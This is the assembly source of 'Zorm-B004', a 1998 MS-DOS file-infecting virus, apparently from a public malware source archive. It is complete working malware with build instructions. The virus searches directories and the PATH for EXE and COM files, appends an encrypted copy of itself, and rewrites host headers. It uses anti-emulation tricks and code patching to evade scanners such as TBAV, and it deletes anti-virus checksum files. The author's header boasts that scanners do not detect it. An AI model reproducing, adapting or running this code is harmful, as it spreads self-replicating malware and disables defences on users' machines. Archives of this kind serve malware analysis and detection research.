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https://github.com/vxunderground/MalwareSourceCode
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872 lines
27 KiB
NASM
872 lines
27 KiB
NASM
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;
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; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\
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; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛÛÛ\ ÛÛÛÛ\
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; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
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; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ \ ÛÛ\ ÛÛ\ ÛÛ\
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; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
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; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
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; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
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; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
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; ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
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;
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;(C)By Dr L. from Lamer Corporation March/July 1998
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;
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;Description:
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; - Name:..........Zorm-B004
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; - Mode:..........Direct infector no TSR
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; - Target:..........Exe/Com of Msdos (even com of dos7+)
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; - Status:..........Not detected by Tbav806,F-prot301,228
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; dr.Web,Avp30,nod-ice,findvirus786
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; (2nd+ generations)
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; - Description:
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; This virus infects 2 exe+2 com files when executed.
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; Can change of directory by using both dot-dot method
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; and the path variable of dos environnment.
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; It doesnt contain nasty routines.
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; Its twice encrypted and use several anti-emulation
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; routines.It doesnt infect command.com and win.com
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; of win95.
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; It erases most checksums files made by anti-virus
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; in the directories where it have found targets to
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; infect.
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; Anti-lamer routine included :)
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;
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; - Disclaimer:
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; This virus was written for research and educationnal
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; purposes.
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; Its the 4th version of this serie.
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; I have fixed some bugs.
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; But one problem still remains:
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; This virus can damaged win.com/command.com of
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; win31 when executed or maybe all can be fine
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; i cant study this problem cause i dont have
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; win31!
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;
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;
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; Compile :tasm/m2 ,tlink/t
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;
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.model tiny ;memory model
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.code ;size <65536
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org 100h ;its a com file
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;-------------------------Beginning---of----loader----------------------
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start1:
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db 0e9h,1,0 ;jmp 001 byte forward
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db 'V' ;infection mark
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push ds ;save dx for later
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push cs ;set ds=cs
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pop ds ;
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mov word ptr [_ds],ds ;save original ds for
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;later
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mov byte ptr [com_virus],0 ;for the first time
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;you have to do that
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;(read below)
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mov bp,0 ;set bp the delta offset
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;to zero.No shift to begin
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jmp over_there
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;---------------------------End-----of------loader----------------------
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;----------------------------Beginning--of--virus-----------------------
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start:
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xor dx,dx ;set dx=0 for stability
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mov cx,end_2nd-begin_2nd ;cx=nber of bytes to decrypt
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xor ax,ax
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int 15h
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cmp ah,86h ;thanx to yesna to show me this
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jz itsok ;trick ;)
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mov ah,4ch
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int 21h
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itsok:
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mov ah,3dh ;anti-emulation trick. function 3dh
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int 21h ;int 21h= open file function.ds:dx
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;mov al,02h ;have to point to file name.
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;but ds:dx points tojunk so dos returns
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;al=02h.We use this value to decrypt
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db 04h ;=add al,10h
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value db 10h ;
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db 0bbh ;mov bx,patch
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patch: ;patch=addr of begin_2nd.
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dw 0 ;patch will be set later.
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;settings for decrypt bytes between begin_2nd and end_second is over.
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;--------------------------------------------------------
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;crypt/decrypt "routine"
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;
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;remark: _ret will be changed into "ret" to transform this part
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;in a real asm routine.
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crypt:
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turn_again:
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xor byte ptr cs:[bx],al
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inc bx
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loop turn_again
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_ret: ;
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ret ;to be replaced
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;--------------------------------------------------------
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begin_2nd:
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db 2eh,0c6h,06h ;=mov byte ptr cs:[ret_addr],c3h
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ret_addr: ;
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dw 0 ;(ret_addr=address where to put 'ret'.
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db 0c3h ;c3h=opcode for "ret")
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db 0bbh ;=mov bx,0000h
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patch2: ;
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dw 0 ;(patch2=addr of beginning of begin_main)
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db 0b0h ;=mov al,2
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_al: ;
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db 2 ;
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;(_al=xor key.Not fixed value during
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;infection scheme.see below)
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mov cx,end_main-begin_main ;setting to decrypt bytes between
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;label begin_main and end_main is
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;complete
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call crypt ;decrypt now!
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end_2nd:
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begin_main:
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mov ax,ss ;if cs=ss i'm a com
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mov cx,cs ;
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cmp ax,cx ;if not,i'm exe!
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jz im_com ;
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im_exe:
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cli ;
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mov ax,ss ;reset ss=cs
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dec ax ;at the start ss=cs+1 to avoid
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mov ss,ax ;"k" flag of tbav.Maybe its a
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sti ;lame way to do that but dont know
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;how to use an other way.
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call compute_delta
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push ds ;save ds for later
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push cs ;set ds=cs
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pop ds ;
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mov byte ptr [com_virus+bp],0 ;i'm not a com (save this info
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;for later)
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jmp next_exe ;whats follow for a exe file host?
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im_com:
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push ds ;save it for later
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compute_delta_offset:
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call compute_delta
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mov byte ptr [com_virus+bp],1 ;yep i'm a com file
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next_exe:
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pop ax ;set ax=original ds
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mov word ptr [_ds+bp],ax ;set _ds=original ds
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;you need it for pass
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;control to host.
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over_there: ;remember me?
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;for the first execution
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;no need to decrypt
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push es ;save es
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push cs ;set es=cs
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pop es ;
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cmp byte ptr [com_virus+bp],1 ;i'm a com?
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jnz follow_me ;nope
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lea si,store_bytes+bp ;yep i'm
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mov di,100h ;ready to transfer byte from
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;location "store_bytes" to
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;beginning of (com) host.
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;(remember the code of *.com
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;begin to cs:100h in memory)
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jmp transfer
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follow_me:
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;cld
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lea si,store+bp ;transfer from label "store"
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lea di,old+bp ;to label "old"
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movsw ;(set the correct values, segment:
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movsw ;offset for the return to host.)
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transfer:
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movsw ;you came from "mov di,100h"? ok
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movsw ;restore (in memory only) the 4 first
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;originals bytes of host.
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;you came from "follow me"? ok restore
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;originals cs:ip and ss:sp found in
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;host (exe) header
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pop es ;beware im back!
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lea dx,new_dta+bp ;dont modify dta!
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call set_dta ;change it!
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mov byte ptr [flag_com+bp],'E' ;at first we want to infect Exe
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push es ;see you later!
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create_new_int24h_handler:
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mov ax,3524h ;
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int 21h ;save original handler
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mov word ptr [bp+old_int24h],bx ;of int 24h for restore
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mov word ptr [bp+old_int24h+2],es ;it later.
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mov ah,25h ;set a new handler for
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lea dx,bp+int_24h ;int 24h.
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int 21h ;so dos dont pop up
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;a infamous error message if virus
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;try to infect write protected
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;disk.
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pop es ;its me again babe!
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count:
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mov byte ptr [count_infect+bp],0 ;reset the counter to 0
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;self explanory
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get_dir:
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mov ah,47h ;
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lea si,current_dir+bp ;save the current directory
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xor dl,dl ;for later when virus pass
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int 21h ;control to host and the return to
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;dos.the size of buffer is 64 bytes.
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get_disk:
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mov ah,19H ;from a:or b:or...virus is running?
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int 21h ;
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mov byte ptr [disk+bp],al ;
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cmp al,02H ;virus infect c: not other drive.
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;in practice .
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jz search_begin_path ;but if you are running the virus
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mov dl,02h ;from an drive ,not c:,it infects
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mov ah,0eh ;drive c:.
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int 21h ;
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;-------------------------------------------------------------
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;this part search the adress of first byte of the name of the
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;first directory include in dos path
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;remarks:
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; es is destroyed by the routine
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; es:di points to the address
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; we are searching
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search_begin_path:
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mov ax,es:002ch ;es:002ch=address of segment where
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mov es,ax ;to found in memory the dos path.
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xor di,di ;
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mov si,di
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jmp suite
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yet:
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inc si
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mov di,si
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suite:
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mov ax,'AP' ;
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scasw ;
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jnz yet ;
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mov ax,'HT' ;search the string 'PATH='
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scasw ;in memory
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jnz yet ;
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mov al,'=' ;
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scasb ;
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jnz yet ;
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;---------------------------------------------------------------------------
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;------------------------------------------------------------------
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;main part of virus routine to search for files
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;to infect.
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pathdir: ;
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call search ;go to search in current dir
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again1: ;
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jc parent ;no file found go to "parent"
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call infect ;one file found infect it!
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cmp byte ptr [count_infect+bp],2 ;
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jz end_infect ;
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call search_again ;
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jmp again1 ;
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parent:
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call up_dir ;
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jnc pathdir ;
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change_to_c:
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call change_path_dir ;
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jnz pathdir ;
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jmp end_infect ;
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;------------------------------------------------------------------
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infect:
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mov ax,3d02h
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lea dx,new_dta+1eh+bp
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int 21h
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read_header:
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xchg ax,bx
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mov ah,3fh
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mov cx,1ch
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lea dx,exe_header+bp
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int 21h
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test1:
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cmp word ptr [exe_header+bp],'ZM';is it really an exe?
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je test3
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test2:
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cmp word ptr [exe_header+bp],'MZ';idem
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jne its_a_com
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test3:
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cmp word ptr [exe_header+bp+12h],'VI';infected?
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je terminer ;yes,bye bye
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test3b:
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cmp word ptr [exe_header+bp+2],00c6h
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jne test4
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cmp word ptr [exe_header+bp+4],00b7h
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je terminer
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test4:
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cmp word ptr [exe_header+bp+26],0 ;overlay=0?
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jne terminer ;not,bye bye
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test5:
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cmp word ptr [exe_header+bp+24],40h ;windows exe?
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je terminer ;yes ,adios :(
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mov byte ptr [com_target+bp],0
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jmp get_attributes
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its_a_com:
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test_com:
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cmp byte ptr [exe_header+bp+3],'V'
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jz terminer
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test_win:
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cmp word ptr [exe_header+4+bp],0e1fh
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jnz not_win_com
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cmp word ptr [exe_header+6+bp],0e807h
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jz terminer
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not_win_com:
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jmp suit
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end_infect:
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jmp end_infect2
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suit:
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push di
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push es
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push cs
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pop es
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mov byte ptr [com_target+bp],1
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lea si,exe_header+bp
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lea di,store_bytes+bp
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movsw
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movsw
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pop es
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pop di
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get_attributes:
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mov ax,4300h
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lea dx,new_dta+1eh+bp
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int 21h
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mov word ptr [attribute+bp],cx
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set_attributes:
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lea dx,new_dta+1eh+bp
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call set_attrib
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kill_crc_files:
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;-----------------------------------------------
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;delete crc files
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lea dx,killfile1+bp
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call set_attrib
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call kill_file
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jmp next
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terminer:
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jmp close_file
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next:
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lea dx,killfile2+bp
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call set_attrib
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call kill_file
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lea dx,killfile3+bp
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call set_attrib
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call kill_file
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;------------------------------------------------
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get_time_date:
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mov ax,5700h
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int 21h
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push cx
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push dx
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cmp byte ptr [com_target+bp],1
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jz go_end_of_file
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store_info_header:
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mov ax,word ptr [exe_header+bp+0eh]
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mov word ptr [store_ss+bp],ax
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mov ax,word ptr [exe_header+bp+10h]
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mov word ptr [store_sp+bp],ax
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mov ax,word ptr [exe_header+bp+14h]
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mov word ptr [store_ip+bp],ax
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mov ax,word ptr [exe_header+bp+16h]
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mov word ptr [store_cs+bp],ax
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go_end_of_file:
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call go_end
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cmp byte ptr [com_target+bp],1
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jnz next_exe_infect
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sub ax,7
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xchg ax,dx
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mov cx,0
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mov ax,4200h
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int 21h
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mov ah,03fh
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mov cx,07h
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lea dx,queue+(end_virus-start)+bp
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int 21h
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add word ptr [queue+(end_virus-start)+5+bp],end_virus-start+7
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call go_end
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mov cx,ax
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sub ax,3
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mov word ptr [jmp_bytes+bp+1],ax
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add cx,100h
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jmp change_patch
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next_exe_infect:
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push ax dx
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compute_new_csip:
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push ax
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mov ax,word ptr [exe_header+bp+8]
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mov cl,4
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shl ax,cl
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mov cx,ax
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pop ax
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sub ax,cx
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sbb dx,0
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mov cl,0ch
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shl dx,cl
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mov cl,4
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push ax
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shr ax,cl
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add dx,ax
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shl ax,cl
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pop cx
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sub cx,ax
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change_header:
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mov word ptr [exe_header+bp+14h],cx
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mov word ptr [exe_header+bp+16h],dx
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inc dx
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mov word ptr [exe_header+bp+0eh],dx
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mov word ptr [exe_header+bp+10h],0FF0h
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mov word ptr [exe_header+bp+0ah],00FFh
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mov word ptr [exe_header+bp+12h],'VI'
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change_patch:
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push cx
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add cx,begin_main-start
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mov word ptr [patch2+bp],cx
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pop cx
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push cx
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add cx,_ret-start
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mov word ptr [ret_addr+bp],cx
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pop cx
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add cx,begin_2nd-start
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mov word ptr [patch+bp],cx
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cmp byte ptr [com_target+bp],1
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jz write_virus
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pop dx ax
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compute_size:
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add ax,end_virus-start
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adc dx,0
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mov cx,512
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div cx
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cmp dx,0
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je enough
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inc ax
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enough:
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mov word ptr [exe_header+bp+04],ax
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mov word ptr [exe_header+bp+02],dx
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write_virus:
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encipher:
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call encrypt
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;--------------------------------
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;routine to avoid tbav "U" flag
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;"U"=undocumented dos interrupt
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;in fact tbav sets this flag
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;if it finds "cdh,xyh" string
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;where xy isnt a ordinary value
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;for an interrupt.
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lea si,queue+bp+(begin_2nd-start)
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mov cx,end_virus-begin_2nd
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test_int:
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cmp byte ptr [si],0cdh
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je encipher
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inc si
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loop test_int
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;-------------------------------
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;-------------------------------
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;90h=nop replace 'ret' by 'nop'
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;for the first execution of crypt
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;routine by the target exe
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;in the buffer before write it.
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mov byte ptr [bp+queue+(_ret-start)],90h
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;-------------------------------
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;-------------------------------
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;write the virus to the target file
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mov ah,40h
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mov cx,(end_virus-start)+7
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|
lea dx,bp+queue
|
|
int 21h
|
|
;-------------------------------
|
|
|
|
;-------------------------------
|
|
;set the file pointer of target to
|
|
;the beginning.
|
|
go_beginning:
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
cwd
|
|
int 21h
|
|
;-------------------------------
|
|
|
|
copy_new_header:
|
|
cmp byte ptr [com_target+bp],1
|
|
jnz copy_exe
|
|
lea dx,jmp_bytes+bp
|
|
mov cx,4
|
|
jmp go_copy
|
|
copy_exe:
|
|
mov cx,1ah
|
|
lea dx,exe_header+bp
|
|
go_copy:
|
|
mov ah,40h
|
|
int 21h
|
|
inc_counter:
|
|
inc byte ptr [count_infect+bp]
|
|
restore_file_attribute:
|
|
mov cx,attribute+bp
|
|
lea dx,1eh+bp+new_dta
|
|
mov ax,4301h
|
|
int 21h
|
|
restore_date_time:
|
|
mov ax,5701h
|
|
pop dx
|
|
pop cx
|
|
int 21h
|
|
close_file:
|
|
mov ah,3eh
|
|
int 21h
|
|
ret
|
|
|
|
end_infect2:
|
|
|
|
|
|
restore_disk:
|
|
mov dl,byte ptr [disk+bp]
|
|
mov ah,0Eh
|
|
int 21h
|
|
|
|
restore_directory:
|
|
mov ah,3bh
|
|
mov byte ptr [slash+bp],'\'
|
|
lea dx,[current_dir-1]+bp
|
|
int 21h
|
|
cmp byte ptr [flag_com+bp],'C'
|
|
jz exit
|
|
|
|
mov byte ptr [flag_com+bp],'C' ;set this flag to avoid
|
|
jmp count
|
|
|
|
exit:
|
|
|
|
restore_initial_ds_value:
|
|
|
|
mov ax,word ptr [_ds+bp]
|
|
push ax
|
|
pop ds
|
|
|
|
restore_initial_dta:
|
|
mov dx,80h
|
|
call set_dta
|
|
restore_initial_24h_interrupt:
|
|
|
|
push ds
|
|
mov ax,2524h
|
|
lds dx,bp+old_int24h
|
|
int 21h
|
|
pop ds
|
|
|
|
restore_initial_es:
|
|
push ds
|
|
pop es
|
|
|
|
cmp byte ptr [com_virus+bp],1
|
|
jnz finish_exe
|
|
|
|
return_com_host:
|
|
|
|
mov ax,100h
|
|
push ax
|
|
ret
|
|
finish_exe:
|
|
mov ax,es
|
|
add ax,10h
|
|
|
|
set_cs_of_host_to_run_it:
|
|
add word ptr cs:[old_cs+bp],ax
|
|
set_stack_of_host:
|
|
cli
|
|
add ax,word ptr cs:[bp+old_ss]
|
|
mov ss,ax
|
|
mov sp,word ptr cs:[bp+old_sp]
|
|
sti
|
|
go_to_host_code:
|
|
db 0eah ; :=jmp xxxx:yyyy
|
|
old:
|
|
old_ip dw 0 ; yyyy
|
|
old_cs dw 0 ; xxxx
|
|
old_sp dw 0
|
|
old_ss dw 0
|
|
store:
|
|
store_ip dw 0
|
|
store_cs dw 0fff0h
|
|
store_sp dw 0
|
|
store_ss dw 0fff0h
|
|
|
|
;-----------------------------------
|
|
;search in current directory.
|
|
|
|
search:
|
|
mov ah,4eh
|
|
cmp byte ptr [flag_com+bp],'C'
|
|
jnz its_exe
|
|
lea dx,com_file+bp
|
|
jmp its_com
|
|
its_exe:
|
|
lea dx,file_mask+bp
|
|
its_com:
|
|
mov cx,7
|
|
int 21h
|
|
ret
|
|
search_again:
|
|
mov ah,4fh
|
|
int 21h
|
|
ret
|
|
;-----------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
;-----------------------------------
|
|
;change directory to parent dir.
|
|
|
|
up_dir:
|
|
mov ah,3bh
|
|
lea dx,dot_dot+bp
|
|
int 21h
|
|
ret
|
|
;-----------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
;-----------------------------------
|
|
;find the next dir in dos path
|
|
;and set current dir=dir found.
|
|
|
|
change_path_dir:
|
|
|
|
lea si,new_dir+bp
|
|
notyet:
|
|
cmp byte ptr es:[di],';'
|
|
jz _end
|
|
cmp byte ptr es:[di],0
|
|
jz _end2
|
|
mov ah,byte ptr es:[di]
|
|
mov byte ptr [si],ah
|
|
inc di
|
|
inc si
|
|
jmp notyet
|
|
_end:
|
|
mov byte ptr [si],0
|
|
inc di
|
|
mov ah,3bh
|
|
lea dx,new_dir+bp
|
|
int 21h
|
|
ret
|
|
_end2:
|
|
xor ax,ax
|
|
ret
|
|
;------------------------------------------
|
|
|
|
|
|
encrypt:
|
|
push ax
|
|
push bx
|
|
|
|
change_xor_value:
|
|
mov al,byte ptr [_al+bp]
|
|
inc al
|
|
cmp al,0
|
|
jne more
|
|
inc al
|
|
more:
|
|
mov byte ptr [_al+bp],al
|
|
|
|
mov ah,byte ptr [value+bp]
|
|
|
|
inc ah
|
|
cmp ah,0
|
|
jne again
|
|
inc ah
|
|
again:
|
|
mov byte ptr [value+bp],ah
|
|
|
|
|
|
copy_virus_to_queue_buffer:
|
|
;cld
|
|
push di
|
|
push es
|
|
push cs
|
|
pop es
|
|
lea si,start+bp
|
|
lea di,queue+bp
|
|
mov cx,end_virus-start
|
|
rep movsb
|
|
pop es
|
|
pop di
|
|
crypt_main_part_of_virus_in_buffer:
|
|
|
|
mov cx,end_main-begin_main
|
|
lea bx,queue+(begin_main-start)+bp
|
|
call crypt
|
|
xchg al,ah
|
|
|
|
inc al
|
|
inc al
|
|
crypt_2nd_part_of_virus_in_buffer:
|
|
|
|
mov cx,end_2nd-begin_2nd
|
|
lea bx,queue+(begin_2nd-start)+bp
|
|
call crypt
|
|
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
set_attrib:
|
|
mov ax,4301h
|
|
xor cx,cx
|
|
int 21h
|
|
ret
|
|
kill_file:
|
|
mov ah,41h
|
|
int 21h
|
|
ret
|
|
int_24h:
|
|
mov al,3
|
|
iret
|
|
set_dta:
|
|
mov ah,1ah
|
|
int 21h
|
|
ret
|
|
compute_delta:
|
|
call delta
|
|
delta:
|
|
pop bp
|
|
sub bp,offset delta
|
|
ret
|
|
go_end:
|
|
mov ax,4202h
|
|
xor cx,cx
|
|
cwd
|
|
int 21h
|
|
ret
|
|
|
|
signature db '(c)Zorm-b004 by Dr.L March/July98'
|
|
jmp_bytes db 0e9h,0,0,'V'
|
|
store_bytes db 90h,90h,0cdh,20h
|
|
killfile1 db 'anti-vir.dat',0
|
|
killfile2 db 'chklist.ms' ,0
|
|
killfile3 db 'chklist.cps' ,0
|
|
dot_dot db '..',0
|
|
file_mask db 'goat*.exe',0 ;anti-lamer routine
|
|
com_file db 'goat*.com',0
|
|
|
|
end_main:
|
|
|
|
|
|
end_virus:
|
|
com_target db ?
|
|
com_virus db ?
|
|
flag_com db ?
|
|
disk db ?
|
|
attribute dw ?
|
|
old_int24h dd ?
|
|
_ds dw ?
|
|
count_infect db ?
|
|
slash db ?
|
|
current_dir db 64 dup (?)
|
|
exe_header db 1ch dup (?)
|
|
new_dta db 43 dup (?)
|
|
new_dir db 64 dup (?)
|
|
queue:
|
|
end start1 |